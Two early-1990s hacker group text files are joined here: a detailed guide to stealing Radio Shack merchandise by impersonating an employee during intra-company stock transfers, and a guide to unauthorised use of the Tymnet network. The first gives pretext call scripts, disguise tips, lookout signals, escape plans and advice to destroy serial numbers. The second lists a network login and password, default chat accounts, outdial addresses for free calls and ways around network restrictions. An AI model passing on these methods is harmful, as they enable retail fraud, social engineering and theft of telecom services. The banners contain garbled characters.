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Legions of Lucifer ('l<>jen ov l<>cif<69>r) n. 1. Any multitude of followers
of the chief evil spirit, Satan. 2. A group of Telecommunications and
Computer Experts that work together as one to cause havok in the
anarchy bound society of this nation.
PHUCK : Phone Hackers United Crash Kill
Legions of Lucifer merged with PHUCK, INC on January 15, 1991 at 11:41pm PST!
We are now: L.o.L-PHUCK
<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
The Radio Shack ICST Scam
Editor's Note: This file, like others from the L.o.L-PHUCK Tfiles
Group is intended for INFORMATIONAL USE ONLY. The information
contained herein is for your reading pleasure only. The author
and the Legions of Lucifer Tfiles group do **NOT** assume
responsibility for possible legal harrassment endured due to
applying this information. This file serves just merely as
interesting reading material and is not intended to be used. Persons
with criminal mentality and con artists should stop reading at this
point.
-------------------------------------------------------------------------------
What is ICST?
ICST stands for Intra-Company Stock Transfer. This is the method of
merchandise delivery between different stores in the chain. An example
of how this works is suppose you go to store A wanting to buy a VGM-300
VGA Monitor and it is not in stock. They will then try to call local
stores to locate your merchandise, which can be anything from a capacitor
all the way to a stereo system or a Tandy 5000 Personal Computer. So you
can see the potential here, eh kiddies :)! Upon calling, the employee
at store A discovers that store B does have the merchandise and will
be able to pick it up for sale to the customer.
Preliminary work.
In order to make things happen, you will need to obtain the store's
confidential phone directory listing. The most efficient way is to make
friends with a dishonest and disgruntled Radio Shack employee and get him
free 'gifts' in exchange for the information. Another method is to have
an extra friend go in the store and have a couple guys keep the employees
busy, then have one guy lift the phone directory, which will be in the
form of a computer printout on either the counter next to the cash
register, or near the store FAX machine.
You will know you have struck paydirt when you retrieve a document
barring resemblance to the following:
<20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Ŀ
<20> Store Number <20> Phone Number <20> Location <20> Manager <20>
<20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Ĵ
<20> 01-XXXX <20> 555-1212 <20> 17 Nowhere St. <20> Tom Bullshit <20>
<20> 01Z-XXXX <20> 555-1213 <20> 37000 Fake Ave. <20> Ima Loser <20>
<20> 11-XXXX <20> 555-3452 <20> 666 Ficticious Blvd<76> John Doe <20>
<20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
Here is a breakdown of the store codes as it pertains to the
company:
01 stores: The 'normal' run of the mill Radio Shacks. They are
allowed to sell stereo, tv, vcr, electronics, etc. They also
do carry the low end computer models. The 01's CAN'T sell **ANY**
386 based models, i.e. 4000 and 5000 families, VGA monitors,
FAX machines, laser printers, etc.
01Z stores: Basically they are a support store out in the middle
of BFE [that is Butt Fucking Egypt, for those of you unfamiliar with
the term], these "special" stores are allowed to carry the same
merchandise as the 11 stores, but in far less volume. They are
good to use as destinations when scamming.
11 stores: This is the good 'ol Radio Shack Computer Center. These
stores are allowed to sell ALL Radio Shack computer lines from
1000-5000, FAX machines, printers in 9,24 pin, color, laser, laptops,
and all monitors from mono-VGA.
This information is VERY crucial to making the sting work, because
this could lead to obvious fuckups and a demise of your civilian life if
you did something VERY lame, such as say that you are coming from an 01
store and need a Tandy 4025. This would sound VERY bad because you are
selling merchandise you are NOT allowed to stock!
Setting up the sting.
The initial planning stages are important. In these stages, you will
merely pick up your Radio Shack catalogue and select your merchandise.
It is also useful to save the flyers in the Sunday sections of major
city newspapers as when merchandise is on a big sale, it is easier to
obtain and they will think a lot less than if it was at full market price.
Also, make up a fake alias. The White Pages provide a good source for
real sounding names. You may also wish to consult popular writers, such
as Piers Anthony and steal a character name [we once used Randy Flagg].
However we used a 'calling card' always. We always used names like Robert
Smith, Roger Schwartz, Randy Switzer, etc. Get it? They ALL have the
initial R.S = Radio Shack. Cute, eh?
Making the Telephone Call.
Ok, so now you have the necessary information in names, numbers, and
parts. It is ALL social engineering from this point out. If you are
young, do NOT attempt this, because I have NEVER seen a Rad Shacker
younger than 16 in a store, and NEVER younger than 18 in a Computer
Center. This portion of the scam is what I call the 'make it or break
it' section. Here are a few details to keep in your mind:
+ Respect the man/woman on the telephone. Remember: The
person IS a coworker!
+ The customer is ANXIOUS and has CASH!
+ You have just started working about 2 weeks ago for the company,
and this is your first major chance at a GOOD commision.
+ The customer will KILL if he doesn't have this item TODAY!
+ [if the chips get down] This is a REPEAT customer!
Here is a sample dialogue for the telephone call:
RS: "Good morning. Radio Shack. Dave speaking."
YOU: "Hello Dave, this is <Fake first name> from the store at
<location>. How are you doing?" [Note: ALWAYS greet warmly!
then stab 'em in the back in a minute!]
RS: "Pretty well, <Fake first name>, can I help you with something?
YOU: "Yes, I have a repeat customer here who is interested in
purchasing the <product>, but we are out of stock currently, and
I have been calling all over the district this morning trying to
hunt this down. Do you have any in stock?"
RS: "Hold on, let me check"
3 minutes and 2 cups of coffee later...
RS: "Hello <Fake first name>?"
YOU: "Yes."
RS: "No. All we have is a floor demo in stock."
YOU: "But I have a REPEAT customer who has cash and needs the item
today. I have called the Computer Center at Noweheresville
and Fake City and they are out of stock. Is there any way
you could let your floor demo go?"
RS: "Well, ok, in that case I can make you a deal. About what time
can I expect you in?"
YOU: "In about 45 minutes-1 hour from now. I am expecting a client in
a few, so I am going to stay around here for a little bit."
RS: "Ok, see you when you get here, <Fake first name>, bye."
YOU: "Bye." <Hang>
Notes: NEVER take stores TOO close together. These guys DO get around.
If you take a store 2 miles down the road, they are like sisters and will
KNOW if a new employee just started etc. The best way is to take a store
about 10-15 miles away, but still within the locale.
Also, there ARE district managers and runners. Be alert for these types.
Here, the DM is a woman, usually males, however, they are the supervisors
for the whole area, and if you come waltzing in and they happen to be
around for some bullshit and see you, and don't know you [they KNOW and
MEET all hirees!], the shit may hit the fan quickly.
Keep your eyes peeled for all workers in the store, and make mental notes
when they are on the phone, etc. Always make sure you are in control
of the situation and pay attention to phone conversations. Also, walk
around like it is HOME. Don't be lame and be getting hard off of some
demo program etc, because after all, the SAME damn demo is running back
on the 4015 at your store.
Also, another thing to note is that you should choose malls if possible
because if something goes wrong it is a LOT easier to get lost amongst
the people, go in other stores, hide, and get to a getaway car.
Appearance.
As with any corporation, Tandy Corp, expects their employees to groom
themselves in a similar and presentable manner. Here is what they like
and dislike:
They are not crazy about facial hair. If men have neatly kept mustaches,
it is ok. ABSOLUTELY no beards, goatees etc.
Hair must be nicely trimmed, clean looking, no long hair.
No loud colors. The method of dress is standardized. What they like to
see are white shirts with long sleeves [no sleeve rolling, even in the
summer, remember you are going from an air conditioned store in an air
conditioned car to another air conditioned store...]. Nice stylish
conservative ties, especially solids. Dark trousers, especially black
or navy blue. Dark socks, black, brown, dark blue. And dark dress shoes,
neatly polished. Light grey shoes are acceptable too, NO loafer or
docksiders though.
Making the visit.
Ok, now you drive to the location where the sting is about to take place.
I best advise having 1-2 other team members along for backup purposes.
A standard method we used was to have one member go in as a 'customer'
and keep em busy by asking serious questions about high ticket items.]
Plus the other person can act as your 'security guard', watching for
trouble. It is a good idea for the other man to be wearing something
that can be altered unnoticingly to signal you that something is going
wrong and to GET THE HELL OUT. A good idea is a ballcap, which can be
taken off as the distress signal, put on backwards like a catcher, etc.
Another good idea is one of the waist pouches many people carry. Front
side, everything is ok, shifted to the back, they are wise, drop the
mission.
Once in the store, act calmly, warmly introduce yourself, and stand around
Strange things do happen, like once a woman came into the store I was at
and I had to help her with an item real fast, so I mean it is wise to
have good social engineering skills and basically, be a good bullshitter,
and if this happens, just say you work at another store, however Joe would
be pleased to help you. This saves your ass, plus puts more pressure on
him and he will want to get you out of there faster.
The next thing I used to do was start talking typical employee crap.
E.g. How long have you worked for the company?, Busy day? etc.
Plan A - Getting the goods.
Assuming all goes well, the guy will do one of three things. If you
catch him alone and the store is busy, with customers and your plants,
he will probably just say that he will take care of the paperwork later
and say your goodbyes.
The second option which is usual circumstances, is he will take you
in the back room, call up the ICST through the intra-store network,
and record the transaction electronically, then he will write out an ICST
form [paper] and give you one copy. It has been a while, but I believe
it is about 4-5 forms: sending store, receiving store, district manager,
and company. Then he will write all the pertinent information [product
name, stock number etc] and then you sign at the X at the bottom of the
form, pick up the merchandise and away you go, off in the sunset...
The third option is the dreaded verification. If you think he is acting
'smart' and may want to know more about you, ask to use the phone because
something about the product doesn't look right and you want to consult
your manager. In reality, call your friend sitting at the payphone and
then he is on, and say to the feeb at the store, "Yeah, Mr. Smith wants
to talk to you for a minute.", and it will clear up the bullshit.
Plan B - Escape.
At times things go wrong. Remember : It is NOT a crime unless you leave
the store with merchandise, therefore bail out if you have to. Once I was
in a predicament where he was about to call my manager to verify me. I
reacted brilliantly by standing around a minute while he was ringing up
an order, and saying to call my manager, and that I am just going to pull
my car up to the door. In reality, I scurried to my friend's car, laid
down, and he got the fuck out of there.
Another incidence is if you don't know stuff you should. The older
employees [even 50 miles away as we found out!] are friends and know
what manager is where and all the company gossip. A friend of mine was
in dressed bad [stripped shirt, wrong shoes..] and they were onto him
from the word 'go'. The guy started interrogating him about the manager
whom as we later learned, had transferred to a store 3 weeks before!
So, saying that he just talked to him, when he had been at a new
store for 3 weeks looked VERY bad. He said it was a long trip [60
miles approx...] and he was going next door to the restaurant for a
quick bite to eat. He got out and a guy tailed him out of the store.
He had to run across a major street, run down the block, jump over a
9 foot high concrete wall [in dress clothes mind you!], try haggling with
two black construction workers to sell him a pair of overalls, then run
behind the next strip mall. Meanwhile, my accomplice and I faked a
phone call, and we went behind the mall and split up. I went and gave
the in store man my jacket to conceal him and we went into a waterbed
store, meanwhile other friend sneaked around the parking lot and
retrieved my buddy's truck and got to the waterbed factory, and we got
the hell out.. And if that wasn't bad enough, a biker cop drove up to
the store while my friend was retrieving the vehicle. Wonder why? Hah!
Also, always have some fast cash handy, because you never know if you
may need to hail down a taxi etc real fast to throw them off the track.
Aftermath.
My suggestions are to pull about 2-3 good jobs in one day, then lay
low for at least 3 months. Word will not usually get around about the
scam until the ICST processing is done about a month later. However,
if you botched it, looked bad, had a close call - you can BET next
time those two stores do business, they will say what a klutz that
Bob Smith is. Then the manager from store A will say "Who the hell
is Bob Smith?". Then the jig is up, and the scam is out in the air and
they will want you.
Also, don't plan on hitting any stores where you may have to do
legitimate purchases within the next 6 months, because they WILL
remember you and some shit will hit the fan mighty fast.
Another good idea is to BURN all the boxes and paper work, plus remove
serial numbers from the merchandise just in case you might ever get
interrogated for something else, they don't have another charge
against you.
After all is said and done, put on your sysop shades, light up a
cigarette, kick up the radio and have fun with your new equipment...

<30><6D><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
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<31><31><6D><31>
"Anarchy is the base of todays society, without it, we would be in chaos"
- Anarchist
<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
(<28>)egions (<28>) (<28>)ucifer - (P)hone (H)ackers (U)nited (C)rash (K)ill
<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
Call these <20>.<2E>.<2E>-PHUCK support boards for information or application
inquiries:
H.M.S. Queen Mary's Revenge 213/274+1333 <20>.<2E>.<2E>-PHUCK World HQ/1
The Magical Mystery Board 203/393+1529 <20>.<2E>.<2E>-PHUCK World HQ/2 THG Site
Electric Eye ][ / Elite 313/776+8928 <20>.<2E>.<2E>-PHUCK Dist Site TRAD HQ
Inphiniti's Edge BBS 216/662+5115 <20>.<2E>.<2E>-PHUCK Dist Site Chaos Chrn.
Maze Enterprises Ltd. 916/444+9812 <20>.<2E>.<2E>-PHUCK Dist Site INC & TPS
Astral Plane 305/935+3976 <20>.<2E>.<2E>-PHUCK Dist Site iPX HQ/NASTY
The Morgue +61-7-353-3388 <20>.<2E>.<2E>-PHUCK Australia EMC Site
Interpol II +46-8-29-6716 <20>.<2E>.<2E>-PHUCK Sweden SHA HeadQ.
<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
<EFBFBD>egions <20>f <20>ucifer-PHUCK High Office Staff Member
Prezident of [<5B>.<2E>.<2E>] : Captain Swashbuckler
Prezident of [PHUCK] : Tripin Face
Out of US Representatives : The Undertaker -=- Australia
Mr Big -=- Sweden
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This text file is (C)Copyright 1990,91 <20>.<2E>.<2E>-PHUCK, Inc.
<20>.<2E>.<2E>-PHUCK is a registered trademark of QMR, All rights reserved
Any modifications to this text phile is a violation of copyright.
H.M.S. Queen Mary's Revenge 213/274+1333
The Magical Mystery Board 203/393+1529
<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>

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Legions of Lucifer ('l<>jen ov l<>cif<69>r) n. 1. Any multitude of followers
of the chief evil spirit, Satan. 2. A group of Telecommunications and
Computer Experts that work together as one to cause havok in the
anarchy bound society of this nation.
PHUCK : Phone Hackers United Crash Kill
Legions of Lucifer merged with PHUCK, INC on January 15, 1991 at 11:41pm PST!
We are now: L.o.L-PHUCK
L.o.L-PHUCK PreZident Note: H.M.S. Queen Mary's Revenge (L.o.L World HQ) has
changed the the board name to: West Coast Technologies, Inc.
-----------------------------------------------------------------------------
Introduction:
-------------
Many people may or may not have heard of Tymnet. Tymnet is one of
the best information gathering networks that is around. It seems as though
it were set up with the hacker in mind, but we all know this isn't true.
After becoming expierenced with the network, I found there to be little
information avaliable to the newcomer, with the exception of what is already
avaliable on the network, but as we all know, this leaves the newcomer
craving for more.
As this file was under construction, a great blow hit the hacker
community on the network; four of the most popular NUIs died (NUIs to
be discussed later). They were VIDEO, and the T.LLOYxx Family. In hopes
of having the community reborn, an additional new NUI has been included.
For more information regarding Tymnet, Telenet, and other PSNs,
consult the Leigon's of Lucifer Text File #10-11. Although other information
on PSNs is avaliable from Leigon's of Lucifer, this file was written in
mind that the reader is unfamiliar with Tymnet. Terminology that would
appear to be new to the reader is explained, in hopes that you will gain a
greater knowledge of the networks.
What Is Tymnet?:
----------------
Tymnet is an international network designed for two basic reasons.
One, to link computers worldwide in order to exchange information. Two, so
hackers can take advantage of the network and connect to the as many computers
avaliable =).
Tymnet is linked to computers throughout the world including most
major continents (North/South America, Asia, Europe, Africa, Australia, etc.).
Tymnet is referred to as a PSN, which is an acronym for Packet Switching
Network. A PSN is any network that sends information via packets, in
Tymnet's case, 128 byte packets.
The following is an example of a simple PSN, which includes three
major components:
1) The PAD (Your Local Dialup)
2) The PSN (The network that you are currently on)
3) The Host (The computer you connect to via the PSN)
Use of a PSN is quite simple. First you must connect to your local
PAD, and sign in with a NUI. If the NUI is valid, a colon prompt will follow
(;), at which you may enter any NUA (NUAs to be discussed later), depending
on what level of access the NUI has. The PSN then connects you to the Host,
posing as a relay between you and the host. If this appears confusing, read
through the rest of this file, and browse back through it, and possibly you
will understand the concept a bit better.
Since Tymnet is not connected to nearly as many businesses as Telenet,
it turns to be more of a communication and information gathering tool then a
scanning one. Hackers on Tymnet, which can be contacted on the many various
chat systems are almost always bound to have information to trade, or give
away. Almost everything is avaliable, from telco, fraud, to hacking.
Connecting to Tymnet:
---------------------
The first thing you must do is find your local Tymnet dialup. If you
already know your dialup, you can skip by this paragraph, and move on. There
are two ways to aquire your dialup. Voice, or data. If you choose to find
out your dialup voice, call 1-(800)-222-0555. Use your touch-tone keypad and
follow the voice prompts. Data is quite simple if you are already familiar
with the logon process on Tymnet. Type 'Information', or 'Info' at the NUI
(Logon) prompt. It's self explanitory from there. You can also dial 1-(800)
336-0149 to find out your local dial, this includes HST Modems.
You must now prepare your terminal to communicate with Tymnet. Switch
your parity to either 7E1 or 8N1. 7E1 is preferred, as I have encountered
problems using 8N1. Toggle your Local Echo until it appears satisfactory.
Once connected, Hit return a few times until the following message
appears:
please type your terminal identifier
When this occurs, hit 'a' if you have 7E1, or 'o' if you have 8N1
set up. The 'a' / 'o' combination tells the PAD your parity setting.
Something to this effect will follow:
-4353:01-007-
please log in:
You have now successfully connected to Tymnet.
Usage of NUIs:
--------------
NUI is an acronym for Network User Identification. This is much like
the standard 'user name' on your favorite BBS. NUIs are legitimate accounts
given to paying members of Tymnet. Hackers always seem to have a knack for
setting up illegal NUIs though.
Unlike Telenet, Tymnet NUIs are easy to find. The NUI 'VIDEO', which
was by far one of the most popular hacker NUIs on Tymnet was cancelled during
the construction of this file. Along with it, the T.LLOYxx Family died
(T.LLOY01, T.LLOY02, T.LLOY03). These NUIs are probaby the most free
accounts that have been avaliable; meaning they had extremely little
restrictions.
The new NUI that was mentoned earlier in the file is 'Parmasterx75'.
The password is 'Par=Tymnet Gawd!'.
(Editor's Notes: Parmasterx75, and the newer Par NUIs are now dead)
After entering a legitimate NUI, a colon prompt will appear. This
notifies you that Tymnet is ready to recieve a NUA. NUA is an acronym for
Network User Address. This could be associated with a BBS telephone number,
as they are much alike in certain aspects.
Types of NUAs:
--------------
Chat Systems-
Chat systems are probably the most popular of the NUAs to hackers on
the networks. You can find many other hackers that are willing to trade new
information. As well, in-depth conversations on hacking do take place on
chat systems, so they are an excellent place to learn for the newcomer.
One of the most popular chat systems is QSD France. You can reach
QSD via 208057040540 NUA. It is not a 'Live' chat system, as messages take
some time to exchange. This chat system is also an excellent place to find
other hackers to exchange information with. But be noted, QSD is like a
local chat system in France, so you will, certain times, run into people who
know nothing about hacking. It's best to avoid these people, because they
are usually gay/lesbian, or looking for a fight. Besides, what use do you
have for the general public? When reaching QSD, remember to change your
parity to 8N1. If you logged in with 8N1, don't worry about it. Another
note, QSD treats a destructive backspace as return. Do NOT hit backspace.
The only way to get around the backspace problem, from my knowledge, is to
use a Canadian PAD.
Most other chat systems are run off either custom software, like
QSD, or off a Unix Shell. The Unix Shell chat systems are a bit harder
to understand, but are much more powerful. When logging in to a Unix chat
system, you will see a Logon: prompt, as most Unix's have. Try using default
accounts to logon (x25, Guest, etc.). When logging onto a Unix Chat System
which automatically places your NUA (Your PAD Address), use the FROM=
command from the logon. RMI Chat System is a perfect example of this.
Use Gast FROM=Hell/Gast as a Username/Password. If you want other hackers
to know the exact geographical location from which you are calling, don't
bother with this, otherwise, be safe, and use the FROM= command.
Unix Chat Systems resemble closely to the conferences found on
most pay networks (Compu-Shit, GEnie, BIX, etc), as they are 'Live', and
you see messages as soon as the author writes them.
Outdials Explained:
-------------------
Outdials that are avaliable on Tymnet are PC-Persuit (Telenet)
Outdials. PC-Persuit is a pay service from Telenet where you sign up
and pay a monthly fee, and you are allowed a certain amount of long
distance data calls. Of course, when using PC-Persuit Outdials through
Tymnet, you don't have to pay for anything.
Outdials are restricted only to dial numbers from within that
area code. If you logon to the 213 Outdial, you can only reach data
numbers in 213. These Outdials are referred to as Local Outdials.
There is another type of Outdials, and there are called Global
Outdials, or, abbreviated, GODs. GODs can call anywhere within the
United States with no restrictions, unlike LODs. The dial format for
GODs usually differs. Ask whomever you recieved the GOD from for
dialing procedures.
Usage of Outdials is quite simple, after logging into Tymnet,
and entering the NUA of the desired Outdial, you must hit one of three
commands. If you are new to Outdials, they have a help level avaliable
where a program controlls the modem for you via certain commands you
send to it. To reach this help level, hit either CTRL-E or '%' when
you connect to the Outdial. If you wish to use simplified AT commands,
type 'AT', and you are ready. Use the AT level just as you would with
your own modem. Entering a 1+AC+Number is not neccessary, and if done,
will not work correctly. Remember, you are logged into a certain area
code, and you can only call numbers within that area code, so just
type the local 7 digit phone number.
File transfering through Tymnet/Telenet OutDial through tymnet
is tricky when you are on a BBS, you must ALWAYS switch to 8n1,1 after you
connect to a BBS through a OD, and when you are about to transfer, the only
protocol you can use is PCP Z-Modem, aka MobyTurbo Zmodem, aka Z-Modem '90.
This protocol was made for tymnet OD's and if you don't use it, you will get
a slew of errors in your file and it will just corrupt the file and/or abort
your transfer.
DNIC Restrictions:
------------------
DNIC is an acronym for Data Network Identification Code. A DNIC is
made up of the first 4 digits of any NUA. There are plenty of DNIC lists
around, so I will not include one. A DNIC shows which network, or country
you are connecting to.
Most of the NUIs that have been around have had very little
restrictions when it comes to connecting to different DNICs, but as they
are slowly dying, you might run into trouble with new NUIs that have
restrictions.
If you are trying to connect to a system in Germany, and your
NUI barres access to German DNICs, try connecting to another PAD, such
as an Enland PAD, and attempt connecting to the NUA again. You should
not run into many problems. It's harder to scan this way.. but it's
a method around NUI restrictions.
(Editor's Notes: In this text file, the author refers to your local
Tymnet dialup as a PAD. Technically, it is. Technically, everything
on Tymnet is a PAD. When I use the acronym PAD, I mean an x28/x29
PAD, and not a local dialup, and most of the rest of the hacker community
on the networks would agree. I find very rare instances where I see
it used in this way.)
Here is a list of Telenet PC-Pursuit Local Out Dials:
New Jersey:
3110 201 00 022 2400 Baud
District of Columbia:
3110 202 00 117 2400 Baud
Connecticut:
3110 203 00 105 2400 Baud
Washington:
3110 206 00 208 2400 Baud
New York:
3110 212 00 028 2400 Baud
California:
3110 213 00 023 2400 Baud
3110 213 00 413 2400 Baud
3110 714 00 004 2400 Baud
3110 714 00 102 2400 Baud
3110 916 00 007 2400 Baud
3110 408 00 021 2400 Baud
Texas:
3110 214 00 022 2400 Baud
3110 713 00 024 2400 Baud
Pennsylvania:
3110 215 00 022 2400 Baud
Ohio:
3110 216 00 120 2400 Baud
Colorado:
3110 303 00 021 2400 Baud
3110 303 00 115 2400 Baud
Florida:
3110 305 00 122 2400 Baud
3110 813 00 124 2400 Baud
Illinois:
3110 312 00 024 2400 Baud
Michigan:
3110 313 00 024 2400 Baud
Missouri:
3110 314 00 005 2400 Baud
Alabama:
3110 404 00 022 2400 Baud
Wisconsin:
3110 414 00 120 2400 Baud
Arizona:
3110 602 00 026 2400 Baud
Minnesota:
3110 612 00 022 2400 Baud
Massachussetts:
3110 617 00 026 2400 Baud
Utah:
3110 801 00 012 2400 Baud
North Carolina:
3110 919 00 124 2400 Baud
Look for more on Tymnet soon from Legions of Lucifer-PHUCK, Inc.
Tymnet is a growing part of the Hacking community, and with your help we
can all make tymnet's information more available to the rest of the hackers.

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<31><31><6D><31>
"Anarchy is the base of todays society, without it, we would be in chaos"
- Anarchist
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(<28>)egions (<28>) (<28>)ucifer - (P)hone (H)ackers (U)nited (C)rash (K)ill
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Call these <20>.<2E>.<2E>-PHUCK support boards for information or application
inquiries:
